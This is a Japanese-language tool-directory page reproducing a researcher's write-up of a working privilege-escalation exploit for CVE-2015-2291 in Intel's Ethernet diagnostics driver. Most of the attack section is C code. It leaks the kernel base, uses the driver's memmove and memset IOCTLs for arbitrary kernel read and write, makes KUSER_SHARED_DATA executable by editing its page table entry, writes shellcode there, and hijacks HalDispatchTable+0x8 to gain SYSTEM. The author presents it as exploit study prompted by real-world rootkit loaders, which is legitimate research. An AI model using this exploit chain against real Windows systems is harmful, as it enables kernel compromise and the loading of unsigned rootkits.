Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2015-2291 — (1) 1.3.1.0 より前の IQVW32.sys と (2) 1.3.1.0 より前の IQVW64.sys(Windows 用 Intel Ethernet diagnostics driver)により、ローカルユーザーが巧妙に細工された (a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F、または (d) 0x80862007 IOCTL 呼び出しを介して、サービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりする可能性があります。 | Kitploit
ツール/GitHubGitHub/gmh5225/cve-2015-2291
特権昇格脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubgmh5225/cve-2015-2291

CVE-2015-2291

(1) 1.3.1.0 より前の IQVW32.sys と (2) 1.3.1.0 より前の IQVW64.sys(Windows 用 Intel Ethernet diagnostics driver)により、ローカルユーザーが巧妙に細工された (a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F、または (d) 0x80862007 IOCTL 呼び出しを介して、サービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりする可能性があります。

リポジトリを見る
5514年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2015-2291

(1) IQVW32.sys 1.3.1.0未満および(2) IQVW64.sys 1.3.1.0未満のWindows用Intelイーサネット診断ドライバーは、巧妙に細工された(a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F、または(d) 0x80862007 IOCTL呼び出しを介して、ローカルユーザーがサービス拒否を引き起こしたり、カーネル権限で任意のコードを実行したりすることを可能にします。

Overview

このリポジトリには、問題の脆弱性に関する解説記事と、64ビットWindows 7 SP1およびWindows 10 20H2で動作する概念実証エクスプロイトが含まれています。ドライバーファイルはDriver Filesディレクトリにあります。解説記事/論文全体で誤字を発見した場合や、特定の詳細についてより詳しい説明をご希望の場合は、リポジトリにissueを作成してください。できるだけ早く修正します。

Motivation

このデバイスドライバーに対して特にエクスプロイトを作成した動機は、専ら、現在このドライバーが実際の攻撃で悪用され、攻撃者の署名なしルートキットを読み込むために使用されているからです。BYOVD(Bring Your Own Vulnerable Driver)方式を使用することで、マルウェアは自分が昇格された権限で実行されているかどうかを確認し、脆弱なデバイスドライバーのコピーをドロップし、ドライバーを読み込み、その後それを悪用してカーネルコード実行を獲得し、ルートキットを読み込むことができます。私はマルウェアサンプルのリバースエンジニアリングに成功できなかったため、自分でエクスプロイトを作成することにしました。

実際の攻撃で確認されたサンプル: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/

CVE-2015-2291 - An Exploit's Technical Analysis

デバイスドライバー、すなわち iqvw64e.sys は、ネットワークアダプターの診断を実行するために設計されたドライバーです。このドライバーは、いくつかのIO制御コード(IOCTLとも呼ばれます)を公開することで、ユーザーモードコンポーネントがデバイスドライバーと対話し、多数のカーネルルーチンを実行することを可能にします。その際、対話中にユーザーの入力バッファー内に「サブ」IO制御コードが提供されます。脆弱なコードパスに到達するために使用されるIO制御コードは 0x80862007 です。主要な制御コードに加えて、この分析で取り上げる前述の「サブ」IO制御コードは、memmove 関数呼び出しコードパスに到達するための 0x33 コードと、memset 関数呼び出しコードパスに到達するための 0x30 コードです。この解説記事では DriverEntry ルーチンに関する詳細は取り上げません。マイクロソフトのドキュメントページに、十分に徹底的な説明を提供するドキュメントが存在するためです。

まず、そもそもこの特定のデバイスドライバーとどのように対話できるのかを知りたいところです。デバイスドライバーと通信する最も一般的な方法は、DeviceIoControlという名前の関数を使用することです。この関数の背後にある一般的な考え方は、CreateFileAによって作成された有効なドライバーハンドルを渡し、実行したいカーネルルーチンに対応するIO制御コードを渡し、ドライバーが期待する構造体(またはバッファー)を渡すと、出力バッファーにデータが返されるというものです。このようなルーチンは時に必要になることもありますが(例えば、オーバークロック目的でモデル固有レジスタにアクセスする場合など)、セキュリティに対して深刻なリスクももたらします。しかし…どのようにして?

CVE-2015-2291の場合、この脆弱性は非特権ユーザーによってトリガーされる可能性があります。サニタイズチェックが存在せず、さらに脆弱性を悪用するために管理者権限は不要であるため、これはセキュリティ上のリスクをもたらします。これら2つの欠陥の根底にあるのは、IO制御コードインターフェースによって公開された memset および memmove 関数呼び出しを完全に制御できる能力です。前述の DeviceIoControl 関数を覚えていますか?カーネルルーチンで使用される構造体を渡すことができましたよね?これですべてがつながります。

一歩下がって考えてみましょう。まず最初に、脆弱なデバイスドライバーに関連するドライバーハンドルを取得する必要があります。ただし、その前に対応する名前付きデバイスオブジェクトを見つける必要があります。これらはシンボリックリンク(通常はハードコードされています)によってユーザー空間に公開されており、[SysInternals suite]の一部であるWinObjを使用して見つけることができます。文字列ダンプユーティリティを使用してシンボリックリンクをダンプしたり、あるいはデバイスドライバーをリバースエンジニアリングしたりすることもできますが、私は単にデバイスドライバーを読み込んでWinObjを使用して特定しました。このデバイスドライバーに関連すると判明したシンボリックリンクは \\.\GLOBALROOT\Device\Nal です。ドライバーハンドルを取得するには、CreateFileA 関数を呼び出して、後のプロセスで使用できる有効なドライバーハンドルを返してもらう必要があります。このプロセスのコードは次のとおりです。```C if (h_nal == (HANDLE)-1) { printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError()); unused = getchar(); return 1; } printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);

root@kitploit:~
このドライバハンドルは、後のエクスプロイト処理で使用します。とりあえず、エクスプロイトの準備を始めましょう。次のステップでは、[LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 関数を使用して `ntdll.dll` ライブラリをロードし、[モジュールハンドル](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types) を取得します。これにより、必要な関数を動的に特定できます。`ntdll.dll` ライブラリは既にプロセスにロードされているかもしれませんが、それでも使用できるライブラリのハンドルを取得する必要があります。エクスプロイトに必要な関数は、後のエクスプロイト処理で NT カーネルのベースアドレスを漏洩させるための [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)(中程度のプロセス整合性で)と、脆弱性をトリガーするための [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) 関数です。`ntdll.dll` ライブラリをロードするコードは以下のとおりです:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
	printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);

ライブラリへのハンドルを取得できたので、まずは NtQueryIntervalProfile 関数の場所を特定します。この関数は非公開のため、最初に関数の型定義が必要になります。型定義はオンラインで見つけることもできますが、ここでは参照しやすいように記載しておきます。```C typedef unsigned int(__stdcall* NtQueryIntervalProfile)( unsigned int ProfileSource, PULONG Interval );

root@kitploit:~
この関数を使用するには、`NtQueryIntervalProfile` 型を使用して変数(ローカルまたはグローバル、お好みで)を宣言する必要もあります。では、この変数を実際の関数にするにはどうすればよいでしょうか?これを行うには、[GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) という名前の関数を使用します。検索するモジュールへのハンドル(最初のパラメータ)と関数の名前(2番目のパラメータ)を渡すことで、モジュール内の任意の関数を見つけ、その関数へのポインタを取得できます!この情報を処理するのに役立つコードが提供されています。```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
	printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);

動的に関数をロードして使用できる理由は、関数自体が実行可能コードへのポインタだからです。関数の本体とは、実際に実行されるコードのことです。

ここで NtQueryIntervalProfile 関数ポインタを解決しましたが、まだ NtQuerySystemInformation 関数のアドレスを取得する必要があります。前回と同様に、この関数には型定義が必要であり、その関数を呼び出すための変数も宣言する必要があります。また前回と同じく、アクセスしやすいように型定義を提供しています。```C typedef NTSTATUS(WINAPI* NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

root@kitploit:~
そして、前回同様、関数を特定する必要があります。直前の `GetProcAddress` の呼び出しとの唯一の違いは、検索する関数です。この関数をコピーして、2番目のパラメータを変更し、2番目の関数を検索できます。コードを記述した後、次のような結果になるはずです:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
	printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);

完璧です!必要な、存在していなかった関数をすべて見つけ出しました。さて、NT Kernelのベースアドレスを漏洩させる必要があります。NtQuerySystemInformationを利用することで、現在読み込まれているすべてのデバイスドライバのベースアドレスやその他の情報を返すクエリを作成できます。NtQuerySystemInformation関数の最初のパラメータはenumで、具体的には公開されていないものです。そのenumはSystemModuleInformationであり、対応する値は0xBです。次に、返される構造体の1つへのポインタを渡す必要があります。必要な構造体とenumは以下の通りです。FuzzySecurity (@b33f)提供:```C typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xB, } SYSTEM_INFORMATION_CLASS;

typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

root@kitploit:~
しかし、まだ続きがあります!割り当てる構造体のサイズを指定する必要があります。構造体のサイズは、情報を取得するデバイスドライバの数によって異なるため、この関数を2回呼び出す必要があります。1回目の関数呼び出しでは構造体の予想サイズを取得し、2回目の関数呼び出しでは情報を取得して構造体に格納します。サイズを取得するには、前述の `SystemModuleInformation` 列挙型を最初のパラメータとして使用し、構造体のサイズを格納する変数へのポインタを渡し、残りのパラメータには `0`(または `NULL`)を渡します。コードは次のようになります:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);

簡単です!期待される構造体のサイズを正常に取得できました。次に、その情報を格納する変数用のメモリを割り当てる必要があります。VirtualAlloc という関数を使用すると、指定した任意のアドレスに、任意のサイズで、独自の保護設定を持つスタックメモリを割り当て、そのメモリへのポインタを返すことができます。今回の目的では、このメモリを固定アドレスに割り当てる必要はないため、0 を渡してメモリマネージャーに場所を選ばせます。さらに、NtQuerySystemInformation が返したサイズ分のスタックメモリブロックも割り当てる必要があるため、その値を保存しておいたのです。割り当ての種類と保護パラメータについては、以下のコードに示す汎用的な引数を使用してください。```C module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

root@kitploit:~
Now that we have allocated our stack memory for the returned structure, we can now query the system module information, and retrieve a structure containing information of every loaded device driver. To do this, we can reuse our function call to `NtQuerySystemInformation` from before, and pass in a pointer to the structure (second parameter) and the size of the structure (third parameter). Now, do you have something like this?

戻り値の構造体用にスタックメモリを割り当てたので、システムモジュール情報を照会して、読み込まれたすべてのデバイスドライバーの情報を含む構造体を取得できます。これを行うには、以前の `NtQuerySystemInformation` への関数呼び出しを再利用し、構造体へのポインター(2番目のパラメーター)と構造体のサイズ(3番目のパラメーター)を渡します。さて、このようなものはありますか?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
	printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
	unused = getchar();
	return 0;
}
printf("\n[+] Queried system module information.");

まあ、あなたも似たようなものを持っていることを願います。NTカーネルのベースアドレスをリークするために残された作業は、構造体を照会することだけです!この場合、NTカーネルドライバの情報はこの構造体のインデックス0に常に存在するため、ドライバ名と文字列を比較する必要はありません。ドライバのベースアドレスを取得するには、ImageBaseAddress構造体フィールドの値を表示、保存、または返すだけです。また、使用する前にポインタがNULLでないことを確認するのも良い習慣です。```C if (module_info) { printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress); return (unsigned long long)module_info->Modules[0].ImageBaseAddress; }

printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;

root@kitploit:~
カーネルベースアドレスを正常に取得しました。ここで、この脆弱性の悪用プロセスを開始する前に、もう1つのステップがあります。PTE(ページテーブルエントリ)を格納するための`QWORD`(64ビット整数)ポインタを作成し、`VirtualAlloc`を使用してそのスタックメモリを確保する必要があります。PTEについては、この文書の後半で説明します。

前述のとおり、`VirtualAlloc`を使用してメモリを確保し、メモリブロックへのポインタを返します。私のエクスプロイトで使用したコードは以下のとおりです。```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
	printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);

セットアッププロセスの最後のステップが完了したので、エクスプロイトプロセスを始めましょう!

このペーパーの前半で述べたように、使用したいIO制御コードはIOCTL 0x80862007 です。しかし、"sub" IOCTL はどのように渡すのでしょうか?

入力バッファがrcxに格納されていることの証明

デバイスドライバに渡すユーザーランド入力へのポインタは、rcxレジスタに格納されています。この図からわかるように、渡す構造体の先頭のQWORD値にある値を単純に逆参照していることがわかります。そして、取得した値に対してswitch-caseを実行しています。

入力バッファがrcxに格納されていることの証明

逆コンパイルされた擬似コードをスクロールすると、memsetとmemoveのそれぞれの3つの値をすべて制御できる2つのルーチンが見つかります。構造体の先頭のQWORDとして0x30を渡すと、memsetコードパスに到達できます。あるいは、構造体の先頭のQWORDとして0x33を渡すと、代わりにmemmoveコードパスに到達できます。この2つのコードパスを以下にそれぞれ示します。

memset制御の証明 memmove制御の証明

使用されている入力バッファのオフセットを確認することで、読みやすくするために、これら両方の関数に渡す構造体を作成することができました。パディングとして使用されているQWORDフィールドがあることに注意してください。このフィールドには値を設定しませんが、構造体定義を正しくするためにはこのフィールドが必要です。さらに、これらのルーチンの呼び出しで使用されるパラメータにも注意してください。リバースエンジニアリングの過程で、渡されるパラメータがそれぞれの関数定義と正しい順序で並んでいることがわかりました。これを示す図も以下に示されています。 memsetコードパスの入力構造体:```C typedef struct _MEMSET_INPUT_BUFFER { unsigned long long JumpTableCode; // Offset: 0x0 (0) unsigned long long Padding1; // Offset: 0x8 (8) unsigned long long Value; // Offset: 0x10 (16) unsigned long long Destination; // Offset: 0x18 (24) unsigned long long Length; // Offset: 0x20 (32) } MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;

root@kitploit:~
`memmove` コードパスの入力構造:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
	unsigned long long JumpTableCode;	// Offset: 0x0 (0)
	unsigned long long Padding1;		// Offset: 0x8 (8)
	unsigned long long* Source;		// Offset: 0x10 (16)
	unsigned long long* Destination;	// Offset: 0x18 (24)
	unsigned long long Length;		// Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

memset の順序の証明 memmove の順序の証明

迅速な分析の結果、これらによって任意のカーネル読み取り・書き込みが可能なエクスプロイトプリミティブが得られると考えて問題ないことがわかりました。これは Windows 10 での悪用に最適です。エクスプロイトプリミティブを任意読み取り・書き込みに変換する必要がないため、この脆弱性を容易に悪用できます。

最初に、memmove エクスプロイトプリミティブを使用して nt!MiGetPteAddress+0x13 カーネル関数を読み取ります。この関数のこのオフセットには任意の値が存在することがわかります。エクスプロイト内で実行できる他の操作と組み合わせることで、すべての PTE のベースアドレスを計算できます!先ほど作成した pte_address 変数を覚えていますか?それとも、NT カーネルベースアドレスの漏えいを覚えていますか?前述したすべてのエクスプロイト準備によって、これが可能になりました。すべての PTE のベースアドレスを計算するコードを以下に示します。KUSER_SHARED_DATA アドレスに注意してください。Windows 10 20H2 では、このアドレスはカーネル内に残された最後の数少ないメモリ領域の1つであり、カーネル ASLR(アドレス空間レイアウトのランダム化) の影響を受けていませんでした。

nt!MiGetPteAddress+0x13 に存在する任意の値の証明```C unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050; current_pte_address = kuser_shared_data_loc >> 9; current_pte_address &= 0x7FFFFFFFF8;

memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;

DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);

root@kitploit:~
ターゲットページのPTEのベースアドレスを計算したので、このアドレスをデリファレンスして、ページエントリが使用しているビットを取得したいと考えます。このデータは、まもなくこのメモリ領域を読み取り、書き込み、実行可能に変更するために必要になります。構造体の `source` アドレスをPTEアドレスを指すように変更し、取得したビットを格納するために `destination` フィールドをスタック変数を指すように変更しました。入力構造体の他のフィールドは変更していません。```C
unsigned long long current_pte_contents = 0;

memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = &current_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);

実際のPTEのビット内容が得られたので、他のビットをオン/オフに切り替えることなく、それを実行可能としてマークしたいと考えます。そのためには、取得した値の最上位ビットをクリアして、NX(no execute)ビットを削除します。幸いなことに、保存された値に対してビット単位のAND演算を使用し、値0x0FFFFFFFFFFFFFFFをANDすることでこのタスクを達成できます。次に、任意書き込みプリミティブを使用してカーネルアドレスへの書き込みをトリガーし、PTEのアドレスに格納されている値を上書きします。構造体については、source構造体フィールドを変更して保存したビットを指すようにし、destinationを変更してPTEアドレスを再度指すようにします。これは本質的に、PTEのアドレスを取得するのとは逆の順序です。これは以下のコードスニペットで示されています。```C current_pte_contents &= 0x0FFFFFFFFFFFFFFF; memmove_input_struct.Source = &current_pte_contents; memmove_input_struct.Destination = current_pte_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);

root@kitploit:~
続行する前に、PTEの内容が上書きされたことを確認したいと思います。ビットの上書きに失敗すると、マシンがクラッシュします(`KERNEL_SECURITY_CHECK_FAILURE` または同等のバグチェックが発生します)。これを確認するために、[WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) の `!pte` コマンドを使用して、上書きが意図したとおりに機能したことを確認します。

![PTEビットが上書きされた証拠](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/PTE%20overwrite.png)

 PTE ビットを調べると、NX ビットが存在しなくなっていることがわかります。つまり、`KUSER_SHARED_DATA` メモリ領域が実行可能になったということです。このメモリ領域を扱っている以上、カーネルペイロードをこのどこかに配置するのが理にかなっています。このメモリのチャンクを分析したところ、`KUSER_SHARED_DATA` 領域の先頭から `0x50` のオフセットが解放済みメモリであることがわかりました。これはペイロードを配置するのに最適な場所です!
 
![KUSER_SHARED_DATA+0x50 が未使用メモリで構成されている証拠](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/Free%20area%20of%20KUSER_SHARED_DATA%20memory.png)

 以前の `memset` 書き込みプリミティブを覚えていますか? このプリミティブを使用すると、カーネルペイロード内のすべてのバイトを反復処理し、`memset` を使用してすべての個別バイトをこのメモリ領域に書き込むことができます。`memmove` を使用してペイロードをこの場所に書き込むことも可能ですが、両方のプリミティブを使用する口実が欲しかったのです。特に完全に制御された状況下で、一方または他方がどのように悪用されるかを示すためです。`0x30` ジャンプコードを使用して `memset` コードパスに到達し、書き込む長さを `0x1` バイトにします。`destination` は、カーネルペイロードのオフセットとともに、解放済みメモリの次のバイトを指すように 1 ずつインクリメントする必要があります。このプロセスは、以下の `for` ループで示されています。```C
for (int i = 0; i < sizeof(shellcode); i++)
{
	memset_input_struct.Destination = kuser_shared_data_loc + i;
	memset_input_struct.Value = shellcode[i];
	DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);

脆弱性を多数回トリガーすることはマシンをクラッシュさせるリスクがありますが、デバイスドライバとその(誤)使用されるルーチンの全体的な安定性により、これは例外です。次のステップとして、nt!HalDispatchTable+0x8 に保存されている元の関数ポインタを取得します。この取得した関数ポインタは復旧ステップで使用され、誤った関数ポインタにアクセスすることによるマシンのランダムなクラッシュを防ぎます。このステップは、ペイロード実行関数が頻繁に呼び出されないため Windows 7 ではそれほど重要ではありませんが、Windows 10 の後期ビルドではその使用頻度が高まっています。いつものように、読み取りプリミティブをもう一度悪用して、返されたポインタをスタック上のローカル変数に格納します。また、漏洩した NT カーネルベースアドレスをもう一度使用し、今回は nt!HalDispatchTable へのオフセットと追加の 0x8 オフセットを組み合わせます。```C memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET; memmove_input_struct.Destination = &recovery_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);

root@kitploit:~
あと数ステップです!ディスパッチテーブルに元のポインタを正常に格納したら、次は同じポインタを `KUSER_SHARED_DATA+0x50` のアドレスで上書きします。これは `0xFFFFF78000000050` に変換されます。この時点で、すべての準備が整い、システムをroot化する準備ができました!ポインタ上書きのソースを、以前は `destination` だったものに変更し、`source` フィールドにはアドレスを格納したローカル変数へのポインタを渡すだけです。```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);

NtQueryIntervalProfile 関数は、HAL ディスパッチテーブルのポインタ、具体的には 0x8 オフセットを使用することで知られており、この理由から一般的に悪用されます。カーネルメモリへの任意書き込みが可能になれば、これは最も簡単な悪用テクニックの1つです! この時点で、私たちのエクスプロイトは nt authority\system 権限を取得していますが、美しいシェルを起動する前に、最後の1つのステップを実行したいと思います:クリーンアップと復旧です。

これらは両方とも単純なので、1つのステップにまとめます。両方の任意書き込みプリミティブを最後にもう一度使用します。まず、カーネル空間からすべてのシェルコードを削除することから始めます。これは簡単な作業です。同じ for ループを使用してペイロードの長さ分を反復処理できるからです。今回は、代わりにメモリをゼロで上書きします。これはエクスプロイト実行前の状態とまったく同じです。```C for (int i = 0; i < sizeof(shellcode); i++) { memset_input_struct.Destination = kuser_shared_data_loc + i; memset_input_struct.Value = 0; DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0); } printf("\n[+] Removed the kernel payload from kernel memory.");

root@kitploit:~
`for` ループの反復処理について、これ以上説明する必要はないと思います。回復プロセス(そして一般的には悪用プロセス)の最後のステップは、`nt!HalDispatchTable+0x8` の元の関数ポインタを復元することです。元々 `nt!HalDispatchTable` 内の多数のポインタの1つを上書きするために使用された `memmove` 構造体データを使って、`source` フィールドを変更して元のアドレスへのポインタを渡すだけです。前回同様、この部分についても説明する必要はないと思います(私が何回同じことを繰り返したか数えられたら1ドルあげます!)。```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");

さあ、あなたの番です。システムシェルを起動しましょう!

Proof of nt authority\system privileges

全体として、これは非常に楽しいバグの悪用でした。悪用のプロセスは、私が想像していたほど複雑ではありませんでした。また、PTE操作により慣れることができ、HackSys Extreme Vulnerable Driverを悪用しない初めてのローカル権限昇格エクスプロイトを作成することもできました! また近いうちに皆さんにお会いできることを願っています。

クレジット

  • HackSys Team; 練習用にHackSys Extreme Vulnerable Driverを作成してくれた
  • Connor McGarr; ページテーブルエントリの操作に関する優れた論文を書いてくれた
  • Fuzzy Security; 私が初めて読んだカーネルエクスプロイトのチュートリアルを作成してくれた
  • The Offensive Security Discord; 学習を通じて支援とヒントを提供してくれただけでなく、話し合いのための素晴らしいコミュニティを提供してくれた
  • The Security Community (as a whole); 私に継続する動機を与えてくれた
ツールをダウンロード